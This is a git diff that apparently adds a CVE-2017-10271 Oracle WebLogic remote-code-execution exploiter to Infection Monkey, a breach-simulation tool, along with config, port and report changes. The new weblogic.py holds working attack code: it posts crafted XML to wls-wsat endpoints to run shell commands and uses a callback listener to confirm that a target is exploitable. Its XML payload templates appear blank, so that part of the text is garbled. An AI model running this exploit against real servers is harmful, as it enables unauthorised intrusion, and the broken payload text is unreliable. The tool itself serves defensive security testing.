diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 818bc75a0..f8094817c 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ MSSQLFinger @@ -149,7 +149,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, Struts2Exploiter # multi + ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi ] # how many victims to look for in a single scan iteration @@ -191,7 +191,8 @@ class Configuration(object): # TCP Scanner HTTP_PORTS = [80, 8080, 443, - 8008, # HTTP alternate + 8008, # HTTP alternate + 7001 # Oracle Weblogic default server port ] tcp_target_ports = [22, 2222, diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 3c33d975a..1d6d4f0e9 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -37,7 +37,8 @@ "ShellShockExploiter", "ElasticGroovyExploiter", "SambaCryExploiter", - "Struts2Exploiter" + "Struts2Exploiter", + "WebLogicExploiter" ], "finger_classes": [ "SSHFinger", @@ -87,7 +88,8 @@ 443, 3306, 8008, - 9200 + 9200, + 7001 ], "timeout_between_iterations": 10, "use_file_logging": true, diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index f2d5d0c5b..346f6276b 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -42,3 +42,4 @@ from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter from struts2 import Struts2Exploiter +from weblogic import WebLogicExploiter diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py new file mode 100644 index 000000000..24e99424c --- /dev/null +++ b/infection_monkey/exploit/weblogic.py @@ -0,0 +1,197 @@ +# Exploit based of: +# Kevin Kirsche (d3c3pt10n) +# https://github.com/kkirsche/CVE-2017-10271 +# and +# Luffin from Github +# https://github.com/Luffin/CVE-2017-10271 +# CVE: CVE-2017-10271 + +from requests import post, exceptions +from web_rce import WebRCE +from exploit.tools import get_free_tcp_port, get_interface_to_target +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer + +import threading +import logging + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) +# How long server waits for get request in seconds +SERVER_TIMEOUT = 4 +# How long to wait for a request to go to vuln machine and then to our server from there. In seconds +REQUEST_TIMEOUT = 2 +# How long to wait for response in exploitation. In seconds +EXECUTION_TIMEOUT = 15 +URLS = ["/wls-wsat/CoordinatorPortType", + "/wls-wsat/CoordinatorPortType11", + "/wls-wsat/ParticipantPortType", + "/wls-wsat/ParticipantPortType11", + "/wls-wsat/RegistrationPortTypeRPC", + "/wls-wsat/RegistrationPortTypeRPC11", + "/wls-wsat/RegistrationRequesterPortType", + "/wls-wsat/RegistrationRequesterPortType11"] +# Malicious request's headers: +HEADERS = { + "Content-Type": "text/xml;charset=UTF-8", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" + } + + +class WebLogicExploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', + 'win32': 'monkey32.exe', + 'win64': 'monkey64.exe'}) + + def get_exploit_config(self): + exploit_config = super(WebLogicExploiter, self).get_exploit_config() + exploit_config['blind_exploit'] = True + exploit_config['stop_checking_urls'] = True + exploit_config['url_extensions'] = URLS + return exploit_config + + def exploit(self, url, command): + if 'linux' in self.host.os['type']: + payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') + else: + payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') + try: + post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) + except Exception as e: + print('[!] Connection Error') + print(e) + return True + + def check_if_exploitable(self, url): + # Server might get response faster than it starts listening to it, we need a lock + httpd, lock = self._start_http_server() + payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port) + try: + post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False) + except exceptions.ReadTimeout: + # Our request does not get response thus we get ReadTimeout error + pass + except Exception as e: + LOG.error("Something went wrong: %s" % e) + self._stop_http_server(httpd, lock) + return httpd.get_requests > 0 + + def _start_http_server(self): + """ + Starts custom http server that waits for GET requests + :return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock) + """ + lock = threading.Lock() + local_port = get_free_tcp_port() + local_ip = get_interface_to_target(self.host.ip_addr) + httpd = self.IndicationHTTPServer(local_ip, local_port, lock) + lock.acquire() + httpd.start() + lock.acquire() + return httpd, lock + + def _stop_http_server(self, httpd, lock): + lock.release() + httpd.join(SERVER_TIMEOUT) + httpd.stop() + + @staticmethod + def get_exploit_payload(cmd_base, cmd_opt, command): + """ + Formats the payload used in exploiting weblogic servers + :param cmd_base: What command prompt to use eg. cmd + :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) + :param command: command itself + :return: Formatted payload + """ + empty_payload = ''' + + + + + + + {cmd_base} + + + {cmd_opt} + + + {cmd_payload} + + + + + + + + + + ''' + payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) + return payload + + @staticmethod + def get_test_payload(ip, port): + """ + Gets payload used for testing whether weblogic server is vulnerable + :param ip: Server's IP + :param port: Server's port + :return: Formatted payload + """ + generic_check_payload = ''' + + + + + http://{host}:{port} + + + + + + + + + + ''' + payload = generic_check_payload.format(host=ip, port=port) + return payload + + class IndicationHTTPServer(threading.Thread): + """ + Http server built to wait for GET requests. Because oracle web logic vuln is blind, + we determine if we can exploit by either getting a GET request from host or not. + """ + def __init__(self, local_ip, local_port, lock, max_requests=1): + self._local_ip = local_ip + self._local_port = local_port + self.get_requests = 0 + self.max_requests = max_requests + self._stopped = False + self.lock = lock + threading.Thread.__init__(self) + self.daemon = True + + def run(self): + class S(BaseHTTPRequestHandler): + @staticmethod + def do_GET(): + LOG.info('Server received a request from vulnerable machine') + self.get_requests += 1 + LOG.info('Server waiting for exploited machine request...') + httpd = HTTPServer((self._local_ip, self._local_port), S) + httpd.daemon = True + self.lock.release() + while not self._stopped and self.get_requests < self.max_requests: + httpd.handle_request() + + self._stopped = True + return httpd + + def stop(self): + self._stopped = True diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 8781f2b21..16c7502f1 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -86,6 +86,13 @@ SCHEMA = { "Struts2Exploiter" ], "title": "Struts2 Exploiter" + }, + { + "type": "string", + "enum": [ + "WebLogicExploiter" + ], + "title": "Oracle Web Logic Exploiter" } ] }, @@ -626,7 +633,8 @@ SCHEMA = { "ShellShockExploiter", "SambaCryExploiter", "ElasticGroovyExploiter", - "Struts2Exploiter" + "Struts2Exploiter", + "WebLogicExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN @@ -761,7 +769,8 @@ SCHEMA = { 80, 8080, 443, - 8008 + 8008, + 7001 ], "description": "List of ports the monkey will check if are being used for HTTP" }, @@ -783,7 +792,8 @@ SCHEMA = { 443, 8008, 3306, - 9200 + 9200, + 7001 ], "description": "List of TCP ports the monkey will check whether they're open" }, diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 369b29c25..f8647e81e 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -30,7 +30,8 @@ class ReportService: 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', - 'Struts2Exploiter': 'Struts2 Exploiter' + 'Struts2Exploiter': 'Struts2 Exploiter', + 'WebLogicExploiter': 'Oracle WebLogic exploiter' } class ISSUES_DICT(Enum): @@ -43,6 +44,7 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 + WEBLOGIC = 9 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -298,6 +300,12 @@ class ReportService: processed_exploit['type'] = 'struts2' return processed_exploit + @staticmethod + def process_weblogic_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'weblogic' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -310,7 +318,8 @@ class ReportService: 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, - 'Struts2Exploiter': ReportService.process_struts2_exploit + 'Struts2Exploiter': ReportService.process_struts2_exploit, + 'WebLogicExploiter': ReportService.process_weblogic_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -430,6 +439,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'] == 'struts2': issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True + elif issue['type'] == 'weblogic': + issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 5bc50cf90..f3c264b8e 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -24,7 +24,8 @@ class ReportPageComponent extends AuthComponent { CONFICKER: 5, AZURE: 6, STOLEN_SSH_KEYS: 7, - STRUTS2: 8 + STRUTS2: 8, + WEBLOGIC: 9 }; Warning = @@ -326,6 +327,10 @@ class ReportPageComponent extends AuthComponent {
  • Struts2 servers are vulnerable to remote code execution. ( CVE-2017-5638)
  • : null } + {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? +
  • Oracle WebLogic servers are vulnerable to remote code execution. ( + CVE-2017-10271)
  • : null } : @@ -693,6 +698,24 @@ class ReportPageComponent extends AuthComponent { ); } + generateWebLogicIssue(issue) { + return ( +
  • + Install Oracle + critical patch updates. Or change server version. Vulnerable versions are + 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. + + Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware + (subcomponent: WLS Security). +
    +
  • + ); + } + generateIssue = (issue) => { @@ -743,6 +766,9 @@ class ReportPageComponent extends AuthComponent { case 'struts2': data = this.generateStruts2Issue(issue); break; + case 'weblogic': + data = this.generateWebLogicIssue(issue); + break; } return data; };